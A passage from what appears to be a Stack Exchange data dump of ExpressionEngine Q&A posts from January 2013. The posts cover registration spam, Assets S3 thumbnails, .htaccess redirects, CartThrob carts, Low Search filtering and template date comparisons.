href=&quot;http://www.capelinks.com/blog/fighting-member-registration-spam-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Fighting Registration Spam&lt;/a&gt;. What's true about it is that almost 99% of our registration spam have usable email addresses. Meaning that, even though we do self-activation, those activations don't bounce. We use &lt;a href=&quot;http://mandrill.com&quot; rel=&quot;nofollow&quot;&gt;Mandrill&lt;/a&gt; to monitor the normal black hole that is CMS email transactions. We thought that registration emails would have a high bounce rate, for one of our clients, because they have close to 70,000 registered members, and many of them are obviously just spam accounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember, common names like &lt;code&gt;register&lt;/code&gt; can be easily targeted via bots, especially if they are in strategically known locations, such as &lt;code&gt;/register&lt;/code&gt;, &lt;code&gt;member/register&lt;/code&gt; etc. So change the trigger (which you've done, but change the page name as well. If you are using something other than the default EE registration, like Authenticate or Safecracker Registration, Users, Zoo Visitor, etc., you can adjust the file name to whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also remember, now days you are mostly combatting humans, so beef up your overall security. Use blacklist, and .htaccess to other tools to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Dealing with Client Notification&#xA;There is no way to successfully stop &lt;em&gt;all spam&lt;/em&gt;. Any method that you find today, will eventually be cracked and attacked. Obviously, having systems to combat spam is good, but the real problem seems to be the client's need for notification. They don't want &lt;em&gt;ALL&lt;/em&gt; notification, they really only want &lt;em&gt;good&lt;/em&gt; notification. Which means, you don't want to send pending or banned notifications, rather just successful activations (those could also be spam, but it would be far less email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain of any system that does this outright. Possibly &lt;a href=&quot;https://objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;PostMaster&lt;/a&gt; could be used to do it. Otherwise, I'd look into seeing if you could combine &lt;a href=&quot;http://devot-ee.com/add-ons/registration-codes&quot; rel=&quot;nofollow&quot;&gt;Registration Codes&lt;/a&gt; with &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt; to get something closer to what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, its just important to let your client know, they can't stop spam. Unless they want to turn their site into an invite only registration system, which I'd assume would hurt sales. Make them understand, the more complicated they make it for the 'purchaser' the higher the abandon rate. If you have Google Analytics set-up, you can create a funnel and provide data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, the site, by some fluke, could get 50-100, legitimate or semi-legitimate registrations per day, that don't turn into purchases or subscriptions. Do they really want to deal with all those notifications?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some clients won't see reason, but it doesn't mean we shouldn't try to make them do so. It also means sometimes you have to say, 'this is the best we can do…' I can't stop your spam problem, I can &lt;em&gt;ONLY&lt;/em&gt; reduce it. &lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-20T14:13:57.007" LastActivityDate="2013-01-20T14:13:57.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5113" PostTypeId="1" AcceptedAnswerId="5114" CreationDate="2013-01-19T21:08:03.047" Score="1" ViewCount="291" Body="&lt;p&gt;Kicking the tires on the awesome Assets 2.02&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your system/expressionengine/cache directory is cleared, the thumbnails aren't regenerated for files that reside on S3 buckets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The action calls the method &lt;code&gt;view_thumbnail()&lt;/code&gt; which returns a broken image. It appears that when the thumbnail is not found, the script tries to resize a file that doesn't exist from &lt;code&gt;system/expressionengine/cache/assets/s3_sources&lt;/code&gt; (this is where a thumbnail is created when the image is first uploaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumbnails are regenerated for normal filesystem images, so this is S3 specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please supply a code patch if possible or a fix in the new version.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-01-22T20:11:46.080" Title="How can I get Assets to regenerate S3 thumbnails after cache dir cleared?" Tags="|assets|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5114" PostTypeId="2" ParentId="5113" CreationDate="2013-01-19T21:32:15.833" Score="1" Body="&lt;p&gt;This has been fixed in Assets 2.0.3.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-22T20:11:46.080" LastActivityDate="2013-01-22T20:11:46.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5115" PostTypeId="2" ParentId="4937" CreationDate="2013-01-19T21:35:17.123" Score="1" Body="&lt;p&gt;Currently it’s all or nothing – the most you can do to restrict access is prevent certain member groups from accessing the Assets MCP in its entirety, and limiting individual Assets fields to specific EE upload directories and S3 buckets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fine-grained permissions are on Assets’ v.Next list, so they’ll be coming soon. (Probably 2.2.)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-19T21:35:17.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5116" PostTypeId="2" ParentId="5003" CreationDate="2013-01-19T21:40:56.537" Score="4" Body="&lt;p&gt;This was fixed in Matrix 2.5.3. &lt;a href=&quot;http://pixelandtonic.com/matrix/releasenotes&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/matrix/releasenotes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-23T19:58:29.580" LastActivityDate="2013-01-23T19:58:29.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5117" PostTypeId="1" AcceptedAnswerId="5658" CreationDate="2013-01-19T21:48:25.493" Score="0" ViewCount="91" Body="&lt;p&gt;I moved most of my images to an S3 source and the migration went well. However I left a couple of images lurking in the old 'filesystem' folders (and thus the associated references)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I then deleted my old File Upload Preferences references, and then visited a Publish page, I got a PHP exception error with &lt;code&gt;unknown_source&lt;/code&gt; referred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that when Assets still has references to old folders in the DB, and those folders are deleted, it throws an exception. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way around this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-01-31T20:09:15.057" Title="How do you safely delete file directory references with Assets 2 installed?" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5118" PostTypeId="2" ParentId="5099" CreationDate="2013-01-20T01:25:47.217" Score="0" Body="&lt;p&gt;Stash will automatically deduplicate the values if you are setting the exact same value more than once.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-20T01:25:47.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5119" PostTypeId="2" ParentId="5117" CreationDate="2013-01-20T02:35:58.103" Score="0" Body="&lt;p&gt;It's probably remnants left in the DB related to the old file directory paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dig into the database to see where the Assets data is stored. It's probably in its own table and will be named accordingly. Look for data cells which contain the file upload tag &lt;code&gt;{filedir_1}&lt;/code&gt; or {filedir_2} or whatever the number is... The full data will look similar to &lt;code&gt;{filedir_1}/imagename.png&lt;/code&gt;. The {filedir_1} part is linking back to the old file directory path used in your File Upload Preferences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've confirmed that this is indeed the issue, then you'll need to decide what to do from there. You can build a query to remove this part of the data or you can clear all those cells... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help with the query, post the details into a new questions.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-20T02:35:58.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5120" PostTypeId="2" ParentId="5085" CreationDate="2013-01-20T06:01:00.470" Score="1" Body="&lt;p&gt;Got it - I must have uninstalled the file fieldtype when I uninstalled the file module. (Add-ons &gt; Fieldtypes) –&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-01-20T06:01:00.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5121" PostTypeId="2" ParentId="5100" CreationDate="2013-01-20T08:27:54.193" Score="3" Body="&lt;p&gt;The issue is that any &lt;code&gt;{if:else}&lt;/code&gt; conditional nested inside the simple conditional &lt;code&gt;{if segment_x}&lt;/code&gt; makes it an advanced conditional, which is parsed late in the template. So using exp:ifelse or exp:switchee is one fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another more hidden trick (without add-ons) (thanx to low), is to set the if:else with a preload_replace. The simple conditional is parsed first, finding no &lt;code&gt;{if:else}&lt;/code&gt; inside the tag, the parser then replaces the &lt;code&gt;{ifelse}&lt;/code&gt; variable with preload_replace value after that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:ifelse=&quot;{if:else}&quot;}&#xA;{if segment_1 != ''}&#xA;{exp:class:method}&#xA;    {if var == &quot;foo&quot;}&#xA;        Lorem&#xA;    {ifelse}&#xA;        Ipsum&#xA;    {/if}&#xA;{/exp:class:method}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/1391783&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1391783&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/blog/snippets-and-preload-replace-variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-01-20T08:47:29.597" LastActivityDate="2013-01-20T08:47:29.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5122" PostTypeId="2" ParentId="2381" CreationDate="2013-01-20T11:48:24.150" Score="1" Body="&lt;p&gt;So, going in a wildly different direction; the easiest way to fix this is to wrap this in &lt;code&gt;{exp:allow_eecode}&lt;/code&gt; plugin-tags, provided by the &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;Allow EECode&lt;/a&gt; plugin from EllisLab themselves.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-01-20T11:48:24.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5123" PostTypeId="1" CreationDate="2013-01-20T19:56:09.967" Score="1" ViewCount="65" Body="&lt;p&gt;When using admin.php to point to the /system folder, sometimes admins will end up redirected from urls with /admin.php to urls with /system.  This presents problems with various add-ons, and generally speaking if I set everything up with /admin.ph pI'd like to keep them there.  Is there an .htaccess rule I can use that will ensure that?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-01-20T20:22:29.610" Title="How to keep admins at /admin.php and out of /system?" Tags="|control-panel|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5124" PostTypeId="1" AcceptedAnswerId="5126" CreationDate="2013-01-20T19:58:46.660" Score="1" ViewCount="32" Body="&lt;p&gt;I moved the /images folder on a site, which contained uploaded images, to a new containing folder.  I was able to update all the images used by the site itself to use the new path, but there's still a lot of links out there in user generated content both on the site and elsewhere that points to that old folder location.  Is there a solution to those errors, maybe an htaccess rule?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-01-21T01:25:52.607" Title="Moved /images, errors in log from those images, solution?" Tags="|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5125" PostTypeId="2" ParentId="462" CreationDate="2013-01-20T20:02:54.897" Score="3" Body="&lt;p&gt;@Jae - You can use rules in the same way with CE Cache. The parameter tag= allows to you add tags and then in the cp, control when they are refreshed - hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms caching and partials, I use CE to cache the wrapper with the parameter global=&quot;yes&quot; and then escape the stash:get. Then within the stash:set cache the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also set the caching timeout in the config to 0 so it's there for good, then with the above mentioned tagging, any update to the entry/channel results in cache being reset but not the global wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works well for us, I'd be interested to hear any other approaches. This gives us flexibility and some great caching. Also, on non-dynamic sites (no user logged in stuff), CE has static caching - which is like lightening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you are doing? Anything better out there?&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-01-20T20:02:54.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5126" PostTypeId="2" ParentId="5124" CreationDate="2013-01-20T20:19:59.113" Score="2" Body="&lt;p&gt;There certainly is an .htaccess rule you can use. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteRule ^images/(.*)$ http://www.example.com/new/images/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give that a shot and let us know how it works.&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-01-20T20:19:59.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5127" PostTypeId="2" ParentId="5123" CreationDate="2013-01-20T20:22:29.610" Score="1" Body="&lt;p&gt;One thing I've noticed, which may not apply to your issue, is that if you create a Nav shortcut to a page in the EECP, and then later change the URL to your CP, those previously created Nav shortcuts will not be updated. This will cause missing pages should you click those shortcuts after the URL move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to delete the shortcuts and recreate them. Maybe there's a way to edit them, but that's what I did to fix that particular issue.&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-01-20T20:22:29.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5128" PostTypeId="1" CreationDate="2013-01-20T20:35:04.343" Score="1" ViewCount="64" Body="&lt;p&gt;I just love asking stupid questions, but I'm on a deadline and can't find any documentation on how to enable users to purchase CartThrob Credits. The description says you can, and I suspect it's really obvious, but I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="856" LastEditorUserId="268" LastEditDate="2013-01-21T08:46:49.340" LastActivityDate="2013-01-21T08:46:49.340" Title="Anyone know how to sell CartThrob Credits?" Tags="|add-on|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5129" PostTypeId="1" AcceptedAnswerId="5133" CreationDate="2013-01-20T21:04:07.210" Score="1" ViewCount="186" Body="&lt;p&gt;I'm using the code below on EE2.5.3 and playa 4.3.3 and am not getting expected results. With the orderby and sort parameters in place, I only get 1 entry returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the orderby and sort parameters I get 4 entries returned, albeit not in the order I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain this disparity?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;subcontractors&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;        {if {exp:playa:total_parents} &amp;gt;= 1}&#xA;            &amp;lt;li&amp;gt;{title} &amp;amp;rarr; {exp:playa:total_parents} Warranty items&amp;lt;/li&amp;gt;&#xA;        {/if}       &#xA;    {/exp:channel:entries}          &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="857" LastEditorUserId="268" LastEditDate="2013-01-21T08:35:55.197" LastActivityDate="2013-01-21T08:35:55.197" Title="Orderby &amp; sort not returning entries" Tags="|add-on|channel-entries|playa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5131" PostTypeId="1" CreationDate="2013-01-20T22:06:13.373" Score="1" ViewCount="127" Body="&lt;p&gt;I need to be able to easily add, change, and delete items from finished orders. The most ideal solution to this would be to have all orders saved in some kind of 'draft' status and only finalize them after they're processed by staff, as has been &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4927/#25049&quot; rel=&quot;nofollow&quot;&gt;mentioned on CT's forums&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently attempting to hack something together using javascript to allow staff to add and configure products (and then use Cartthrob's inventory reduce tag) but wondering if anyone else facing this problem has come up with a way to keep orders in the cart until after staff has finished with them? Or to put it a different way, is there any way to give a staff member access to the cart prior to it being submitted? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't use any kind of payment gateway so there's no reason the order needs to be finalized before staff gets to it. &lt;/p&gt;&#xA;" OwnerUserId="772" LastActivityDate="2013-02-08T19:02:58.133" Title="Cartthrob order editing -- save order in draft status?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5132" PostTypeId="1" AcceptedAnswerId="5144" CreationDate="2013-01-21T00:17:04.870" Score="2" ViewCount="2213" Body="&lt;p&gt;just looking for a bit of help in expanding my sites search capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very basic search box at the moment, handled by Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It searches one channel (a single collection) and returns results fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to be able to filter these results based in custom field data within the entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a checkbox field that lists several &quot;features&quot; for that entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the user to be able to select one (or more) of these features and then update the search results with the entries that have these features with the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking something along the lines of the filter section of Devotee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Low Search docs have info on creating a more complex search form with more options, but I cannot seem to see anything about &quot;filtering&quot; results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just not sure how to implement it, so any pointers would be good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right, I've had a go at trying this out, but cannot get it to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe its the way I'm set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a main listing template, that is changed via Switchee, with one of the variables being my search results template, however my actual search form is contained within a sidebar that is within a Low Variable :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my search form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form query=&quot;{segment_3}&quot; result_page=&quot;walks/results&quot;}&#xA;&#xA;            &amp;lt;label&amp;gt;Search for a walk:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; class=&quot;span5&quot; /&amp;gt;&#xA;&#xA;&#xA;            {exp:low_options:walk_features_new}&#xA;                {options}&#xA;                    &amp;lt;label&amp;gt;&#xA;                        &amp;lt;input type=&quot;checkbox&quot; name=&quot;walk_features_new[]&quot; value=&quot;{option:value}&quot;&#xA;                        {if &quot;{option:value}&quot; IN ({low_search_search:walk_features_new})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;                        {option:label}&#xA;                    &amp;lt;/label&amp;gt;&#xA;                {/options}&#xA;            {/exp:low_options:walk_features_new}&#xA;&#xA;            &amp;lt;button class=&quot;btn btn-block btn-blue&quot; type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&#xA;        {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the IN-conditional works in EE 2.8.1 or below. If you're using EE 2.9 or up, &lt;a href=&quot;http://gotolow.com/blog/conditional-conundrums&quot; rel=&quot;nofollow&quot;&gt;use a different syntax&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my results page has the following within the switchee case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;walks&quot; search_mode=&quot;all&quot;  status=&quot;open|new&quot; show_expired=&quot;yes&quot; dynamic=&quot;off&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;                {lv_walkdetails_main}&#xA;&#xA;                {lv_pagination}&#xA;&#xA;                {if switchee_no_results}&#xA;&#xA;                    &amp;lt;p&amp;gt;Sorry, no results!&amp;lt;/p&amp;gt;&#xA;&#xA;                {/if}&#xA;&#xA;            {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i run a search via the search box (keywords) it works fine, but when I select one of the options, it does provide correct results, or remember what was selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything obvious wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(not sure if it helps, or makes a difference but it's a P&amp;amp;T checkbox field.)&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="172" LastEditDate="2014-11-03T08:25:49.093" LastActivityDate="2014-11-03T08:27:07.617" Title="How do I filter Low Search results based on custom fields?" Tags="|search|low-search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5133" PostTypeId="2" ParentId="5129" CreationDate="2013-01-21T00:32:05.360" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa%3achildren&quot; rel=&quot;nofollow&quot;&gt;Playa Children&lt;/a&gt; tag to show children, rather than the channel entries tag and then a conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;field_where_relationship_was_made&quot;}&#xA;  &amp;lt;li&amp;gt;{title} &amp;amp;rarr; {exp:playa:total_parents} Warranty items&amp;lt;/li&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-21T00:32:05.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5134" PostTypeId="1" AcceptedAnswerId="5135" CreationDate="2013-01-21T00:44:29.000" Score="2" ViewCount="70" Body="&lt;p&gt;I have a site with a CT store with 1 product.  The customer never adds it to their cart, that happens automatically on the page that links them to the cart, using the following tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:clear_cart}&#xA;{exp:cartthrob:add_to_cart entry_id=&quot;xxx&quot; quantity=&quot;1&quot; no_tax=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code generally ensures that this will be the only item in the cart.  The problem is that customers, by putting in the url for the checkout manually, can get past this page on occasion and end up on the checkout page with an empty cart.  That should never happen with this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get what the original developers of this site were doing with the above code, and it's 99% reliable, but I'd like to be 100% sure that when a user reaches my checkout page they have this item in their cart exactly once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-12-29T21:58:05.707" Title="Ensure a product is always in a CartThrob cart?" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5135" PostTypeId="2" ParentId="5134" CreationDate="2013-01-21T01:08:16.540" Score="3" Body="&lt;p&gt;Can't you place a small if statement to make sure there is something in the cart and if empty redirect to main page where its added automagically.&#xA;    {if cart_empty}redirect{/if}&#xA;not sure of syntax, purely demonstration &lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-21T01:08:16.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5136" PostTypeId="1" CreationDate="2013-01-21T01:25:43.250" Score="3" ViewCount="424" Body="&lt;p&gt;I recently upgraded a couple of sites to EE2.5.5. I was utilizing templates to store JQuery and its plugins, combining all within an index file of my 'scripts' group. This isn't necessarily best practice, or how I typically include JQuery in my more recent builds, but it worked for the sites for a very long time. Upon completing the EE2 upgrade, JQuery included in a template produces a script error, breaking the site's scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example error from firebug using JQuery 1.7.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SyntaxError: unterminated string literal&#xA;...entElement;q.setAttribute(&quot;className&quot;,&quot;t&quot;),q.innerHTML=&quot;&amp;lt;link/&amp;gt;&amp;lt;table&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This occurs on all versions of JQuery I've tried, minified or not, and produces a variety of errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real answer is &quot;Don't load JQuery from a template&quot;, but I think the fact that EE is somehow breaking JS code when using a Javascript template type is something to note and question. Are there limitations to 'javascript' template types?&lt;/p&gt;&#xA;" OwnerUserId="849" LastEditorUserId="849" LastEditDate="2013-01-25T00:48:39.827" LastActivityDate="2013-01-26T02:25:31.790" Title="Are there limitations to ExpressionEngine's JavaScript templates?" Tags="|templates|javascript|jquery|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5137" PostTypeId="2" ParentId="5124" CreationDate="2013-01-21T01:25:52.607" Score="0" Body="&lt;p&gt;There is a &quot;search &amp;amp; replace&quot; tool in the CP under Tools &gt; Data which you can do to make the change to the entries directly. Back up the DB first of course.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-21T01:25:52.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5138" PostTypeId="1" CreationDate="2013-01-21T02:23:38.750" Score="1" ViewCount="101" Body="&lt;p&gt;When using Profile:Edit and CartThrob together we are saving member data as part of checkout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look directly at the DB the password is being saved but there is nothing in the salt column of the &lt;code&gt;exp_members&lt;/code&gt; table. If you try to login on the website EE throws a &lt;code&gt;The existing username and/or password you submitted are not valid&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then go to member management of the CP and enter the password just like it was during checkout, a value is added to the salt column of the DB and you can login on the website without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have suggestions about how to get Profile:Edit/CT to salt the password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-01-21T03:04:04.627" LastActivityDate="2013-01-21T03:04:04.627" Title="Profile:Edit New Member Password Saving Issue" Tags="|members|cartthrob|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5139" PostTypeId="2" ParentId="5138" CreationDate="2013-01-21T02:38:30.977" Score="1" Body="&lt;p&gt;You shouldn't need the password salted for login to work. ExpressionEngine's member login code is designed to automatically add a salt and improve the hash up login. It's pretty common for a newly-created member to not have a salt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this doesn't answer your question completely, but maybe it'll help you narrow down the causes of your issue.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-01-21T02:38:30.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5140" PostTypeId="2" ParentId="5012" CreationDate="2013-01-21T03:37:20.940" Score="1" Body="&lt;p&gt;I was unable to get Lisa's method to compare properly when it came to different years.  I did find this example which seems to be resolving correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time format='%Y-%m-%d - %H:%i:%s'}&quot; &amp;gt; &quot;2010-04-03 - 17:00:00&quot; }&#xA;code&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://snipt.net/mikewisian/compare-dates-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;compare dates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="701" LastActivityDate="2013-01-21T03:37:20.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5142" PostTypeId="1" CreationDate="2013-01-21T09:12:38.663" Score="4" ViewCount="339" Body="&lt;p&gt;How can I translate the Freemember error messages into a different language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically the error message like: The {field_name} is required.&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-10-11T12:46:13.683" Title="How can I translate the Freemember error messages into a different language?" Tags="|freemember|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5143" PostTypeId="2" ParentId="5012" CreationDate="2013-01-21T09:28:30.480" Score="0" Body="&lt;p&gt;I usually use the following format for dates comparisons&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{start_of_campaign format=&quot;%Y%m%d&quot;}' &amp;lt;= '{current_time format=&quot;%Y%m%d&quot;}' AND '{end_of_campaign format=&quot;%Y%m%d&quot;}' &amp;gt; '{current_time format=&quot;%Y%m%d&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you numbers that can easily be compared.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-01-21T09:28:30.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
